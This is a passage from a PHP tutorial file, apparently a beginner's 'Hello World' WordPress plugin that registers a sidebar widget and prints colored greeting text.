Plugin URI: http://www.mpetrov.net/write_wordpress_plugin_from_scratch
Description: Your First Wordpress Plugin- Hello World
Author: Martin Petrov
Version: 0.75
Author URI: http://www.mpetrov.net/
*/

function HelloWorld()
{
echo "<b><font color='white'>He</font><font color='green'>llo</font> <font color='red'>World</font>. I'm your first Wordpress plugin</b>";
}

function widget_HelloWorld($args)
{
extract($args);
echo $before_widget;
echo "$before_title <font color='white'>Title</font> <font color='green'>of</font> <font color='red'>Widget</font> $after_title";
HelloWorld();
echo $after_widget;
}

function HelloWorld_init()
{
register_sidebar_widget("Hello World","widget_HelloWorld");
}

add_action("plugins_loaded", "HelloWorld_init");
?>